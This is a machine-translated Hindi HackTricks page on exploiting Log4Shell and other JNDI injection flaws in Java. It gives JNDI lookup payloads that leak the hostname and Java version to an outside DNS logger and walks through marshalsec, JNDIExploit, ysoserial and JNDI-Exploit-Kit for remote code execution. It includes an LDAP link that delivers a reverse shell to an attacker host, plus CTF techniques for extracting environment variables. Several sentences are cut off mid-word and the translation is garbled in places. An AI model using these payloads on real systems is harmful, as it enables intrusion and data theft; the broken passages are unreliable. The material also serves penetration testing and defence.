* अगर आप अपनी कंपनी की विज्ञापनित करना चाहते हैं **HackTricks** में या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
JNDI, जो 1990 के दशक से जावा में एकत्रित है, एक निर्देशिका सेवा के रूप में कार्य करता है, जिससे जावा कार्यक्रम डेटा या ऑब्जेक्ट को नेमिंग सिस्टम के माध्यम से खोज सकते हैं। यह सेवा प्रदाता इंटरफेस (SPIs) के माध्यम से विभिन्न निर्देशिका सेवाओं का समर्थन करता है, जिससे विभिन्न सिस्टम से डेटा प्राप्त किया जा सकता है, जिसमें रिमोट जावा ऑब्ज
यह वंशावली में एक महत्वपूर्ण **अविश्वसनीय डिसीरियलाइज़ेशन दोष** है `log4j-core` घटक में, संस्करण 2.0-बीटा9 से 2.14.1 तक प्रभावित है। यह **दूरस्थ कोड क्रियान्वयन (RCE)** की अनुमति देता है, हमलावादियों को सिस्टम पर कब्जा करने की संभावना होती है। इस मुद्दे की रिपोर्ट चेन ज़ाओजुन द्वारा अलीबाबा क्लाउड सुरक्षा टीम से की गई थी और यह विभिन्न एपाचे फ़्रेमवर्क को प्रभावित करती है। संस्करण 2.15.0 में प्रारंभिक सुधार अपूर्ण था। रक्षा के लिए सिग्मा नियम उपलब्ध हैं ([नियम 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [नियम 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml))।
प्रारंभ में कम रेट किया गया था लेकिन बाद में महत्वपूर्ण माना गया, यह CVE एक **सेवा की अस्वीकृति (DoS)** दोष है जो 2.15.0 में CVE-2021-44228 के लिए अपूर्ण सुधार से होता है। यह गैर-डिफ़ॉल्ट विन्यासों को प्रभावित करता है, हमलावादियों को नुकसान पहुंचाने की अनुमति देता है बनाया गया पेलोड के माध्यम से DoS हमले। एक [ट्वीट](https://twitter.com/marcioalm/status/1471740771581652995) एक बायपास विधि प्रदर्शित करता है। इस मुद्दे को संस्करण 2.16.0 और 2.12.2 में संशोधित करके हल किया गया है जिसमें संदेश खोज पैटर्न को हटाया गया है और JNDI को डिफ़ॉल्ट रूप से अक्षम कर दिया गया है।
`JMSAppender` का उपयोग करते हुए गैर-डिफ़ॉल्ट विन्यासों में प्रभावित करने वाला यह CVE **Log4j 1.x संस्करणों** को एक अविश्वसनीय डिसीरियलाइज़ेशन दोष है। 1.x शाखा के लिए कोई सुधार उपलब्ध नहीं है, जो अंत-जीवन है, और `log4j-core 2.17.0` में अपग्र
या `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** और यदि एक **DNS अनुरोध प्राप्त होता है जिसमें एनवायरनमेंट चरित्र का मान है**, तो आपको पता चल जाएगा कि एप्लिकेशन वंशीकरणयोग्य है।
JDK संस्करण 6u141, 7u131 या 8u121 से ऊपर चल रहे होस्ट LDAP क्लास लोडिंग हमले के खिलाफ सुरक्षित हैं। यह `com.sun.jndi.ldap.object.trustURLCodebase` की डिफ़ॉल्ट निषेधन के कारण है, जो JNDI को LDAP के माध्यम से रिमोट कोडबेस लोड करने से रोकता है। हालांकि, यह महत्वपूर्ण है कि इन संस्करणों को **डेसीरियलाइज़ेशन हमले के खिलाफ सुरक्षित नहीं किया गया है**।
इन उच्च JDK संस्करणों का शोध करने वाले हमलावरों के लिए, जावा एप्लिकेशन में **विश्वसनीय गैजेट** का उपयोग आवश्यक है। इस उद्देश्य के लिए अक्सर ysoserial या JNDIExploit जैसे उपकरणों का उपयोग किया जाता है। उल्टे, निम्न JDK संस्करणों का शोध करना अधिक सरल है क्योंकि इन संस्करणों को बदलकर विभिन्न क्लासेस को लोड और क्रियान्वित किया जा सकता है।
**अधिक जानकारी** के लिए (_जैसे RMI और CORBA वेक्टर्स पर सीमाएं_) **पिछले JNDI नेमिंग संदर्भ खंड** या [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) देखें।
उपकरण [**marshalsec**](https://github.com/mbechler/marshalsec) का उपयोग करें (jar संस्करण यहाँ उपलब्ध है: [**यहाँ**](https://github.com/RandomRobbieBF/marshalsec-jar))। इस दृष्टिकोण से एक LDAP रेफरल सर्वर स्थापित किया जाता है जो कनेक्शन को एक सेकेंडरी HTTP सर्वर पर पुनर्निर्देशित करता है जहां हमला होस्ट किया जाएगा:
कक्षा फ़ाइल में जावा फ़ाइल को क्लास फ़ाइल में कंपाइल करें: `javac Exploit.java -source 8 -target 8`। अगले, उस निर्दिष्ट डायरेक्टरी में **HTTP सर्वर** को आरंभ करें जिसमें क्लास फ़ाइल है: `python3 -m http.server`। सुनिश्चित करें कि **marshalsec LDAP सर्वर** इस HTTP सर्वर को संदर्भित करता है।
**ध्यान दें:** यह एक्सप्लॉइट जावा के कॉन्फ़िगरेशन पर निर्भर करता है जो LDAP के माध्यम से रिमोट कोडबेस लोडिंग की अनुमति देता है। यदि यह अनुमति नहीं है, तो विश्वसनीय क्लास का उपयोग करके अर्बिट्रेरी कोड एक्सीक्यूशन के लिए एक्सप्लॉइट करने का विचार करें।
ध्यान दें कि किसी कारण से लेखक ने इस प्रोजेक्ट को गिटहब से हटा दिया था जब लॉग4शैल की खोज के बाद। आप इसका कैश्ड संस्करण [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) में देख सकते हैं लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं तो इस वल्न को एक्सप्लॉइट करने के लिए एक विभिन्न तरीका का उपयोग करें।
इसके अतिरिक्त, आप वेब सर्वर को **लॉग4शैल** के लिए वल्नरबल करने के लिए इस उदाहरण में पोर्ट 8080 पर चला सकते हैं: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README में आपको इसे कैसे चलाना है इसकी जानकारी मिलेगी_)। यह वल्नरबल एप्लिकेशन एक वल्नरबल संस्करण के साथ लॉग4शैल के साथ HTTP रिक्वेस्ट हेडर _X-Api-Version_ की सामग्री को लॉग कर रहा है।
After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**.
**ध्यान दें कि अन्य शोषण विकल्पों के लिए `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` जांचना। इसके अतिरिक्त, यदि आपको आवश्यकता हो तो, आप LDAP और HTTP सर्वरों के पोर्ट बदल सकते हैं।**
पिछले शोषण के तरह, आप इस भेद्यता का शोषण करने के लिए [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करने की कोशिश कर सकते हैं।\
आप यह विकल्प भेजने के लिए URLs उत्पन्न कर सकते हैं जो पीड़ित को भेजने के लिए हैं:
_यह हमला एक कस्टम जेनरेटेड जावा ऑब्जेक्ट का उपयोग करके **टीएचएम सोलर रूम** जैसे लैब्स में काम करेगा। हालांकि, यह आम तौर पर काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को एलडीएपी का उपयोग करके रिमोट कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है) मुझे लगता है क्योंकि यह विश्वसनीय क्लास का दुरुपयोग करने के लिए अनिवार्य कोड को निष्पादित नहीं कर रहा है।_
### RCE - JNDI-Injection-Exploit-Plus
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) एक और उपकरण है जो **कार्ययोग्य JNDI लिंक** उत्पन्न करने और RMI सर्वर, LDAP सर्वर और HTTP सर्वर शुरू करके पृष्ठभूमि सेवाएं प्रदान करता है।
### RCE - ysoserial & JNDI-Exploit-Kit
यह विकल्प **केवल निर्दिष्ट कक्षाओं का विश्वास करने के लिए कॉन्फ़िगर किए गए जावा संस्करणों पर हमला करने के लिए वास्तव में उपयोगी है**। इसलिए, **ysoserial** का उपयोग किया जाएगा **विश्वसनीय कक्षाओं की सीरियलाइज़ेशन** उत्पन्न करने के लिए जो गैजेट के रूप में उपयोग किए जा सकते हैं ताकि **अनिवार्य कोड को निष्पादित किया जा सके** (_ysoserial द्वारा दुरुपयोग किया गया विश्वसनीय कक्षा का उपयोग शिकार जावा कार्यक्रम द्वारा किया जाना चाहिए ताकि उत्तेजना काम करे_).
**ysoserial** या [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करके आप JNDI द्वारा डाउनलोड किए जाने वाले डेसीरियलाइज़ेशन हमला बना सकते हैं:
व्यक्तिगत जानकारी के लिए [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करें ताकि **JNDI लिंक** उत्पन्न किया जा सके जहाँ उत्पादनशील मशीनों से जोड़ने के लिए अभिशाप का इंतजार किया जा सकता है। आप **JNDI-Exploit-Kit** द्वारा स्वचालित रूप से उत्पन्न विभिन्न अभिशाप का सर्वर कर सकते हैं जो आपके **अपने डेसीरियलाइज़ेशन पेलोड** (जिन्हें आपने या ysoserial द्वारा उत्पन्न किया गया है) के लिए उत्पन्न किया जा सकता है।
अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके संक्रमितता का शिकार बन सकते हैं और एक **रिवर्स शैल** प्राप्त कर सकते हैं जो एक संक्रमित संस्करण को भेजने के लिए है: **`${ldap://10.10.14.10:1389/generated}`**
इस [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में अच्छी तरह से समझाया गया है कि **Log4J** के कुछ विशेषताओं का दुरुपयोग संभावित है।
> संस्करण 2.16.0 (जावा 8 के लिए) से, **संदेश खोज विशेषता पूरी तरह से हटा दी गई है**। **कॉन्फ़िगरेशन में खोज काम करती है**। इसके अतिरिक्त, अब Log4j JNDI तक पहुंच को डिसेबल कर देता है। कॉन्फ़िगरेशन में JNDI खोज को सक्षम करना अब व्यक्तिगत रूप से करना होगा।
> संस्करण 2.17.0 से, (और जावा 7 और जावा 6 के लिए 2.12.3 और 2.3.1), **केवल कॉन्फ़िगरेशन में खोज स्ट्रिंग को रूपांतरित किया जाता है**; किसी भी अन्य उपयोग में, केवल शीर्ष स्तर की खोज हल की जाती है, और किसी भी नेस्टेड खोज को हल नहीं किया जाता है।
इसका मतलब है कि डिफ़ॉल्ट रूप से आप किसी भी `jndi` उत्पीड़न का उपयोग भूल सकते हैं। इसके अतिरिक्त, रूपांतरित खोज करने के लिए आपको उन्हें कॉन्फ़िगर करना होगा।
[इस CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) में हमलावर `${sys:cmd}` की मान को नियंत्रित करता था और एक environment variable से झंझावट करनी थी।
जैसा कि [**पिछले payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) में देखा गया है, वहाँ विभिन्न तरीके हैं जिनसे env variables तक पहुंचा जा सकता है, जैसे: **`${env:FLAG}`**। इस CTF में यह अकारण था लेकिन यह अन्य वास्तविक जीवन स्थितियों म
जैसा कि पिछले खंड में उल्लिखित किया गया था, **`%replace`** ने **regexes** का समर्थन किया। इसलिए यह संभावना है कि [**ReDoS पृष्ठ**](../regular-expression-denial-of-service-redos.md) से पेलोड का उपयोग करके एक **समय समाप्ति** को उत्पन्न किया जा सकता है यदि ध्वज मिल जाता है।\
इस [**लेख**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में, एक ReDoS हमले की बजाय एक **विस्तारण हमले** का उपयोग किया गया था जिससे प्रतिक्रिया में समय का अंतर उत्पन्न हुआ:
> यदि ध्वज `flagGuess` के साथ शुरू होता है, तो पूरा ध्वज 29 `#`-s से बदल दिया जाएगा (मैंने इस वर्ण का उपयोग क्योंकि यह संभावना है कि यह ध्वज का हिस्सा नहीं होगा)। **प्रत्येक परिणामी 29 `#`-s को फिर 54 `#`-s से बदल दिया जाएगा**। यह प्रक्रिया **6 बार** दोहराई जाएगी, जिससे कुल ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!** होंगे।
> इतने सारे `#`-s को बदल देने से Flask एप्लिकेशन का 10 सेकंड का समय समाप्त हो जाएगा, जिससे उपयोगकर्ता को HTTP स्थिति कोड 500 प्राप्त होगा। (यदि ध्वज `flagGuess` के साथ शुरू नहीं होता है, तो हमें गैर-500 स्थिति कोड प्राप्त होगा)
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github रेपो में PR जमा करके अपने हैकिंग ट्रिक्स साझा करें।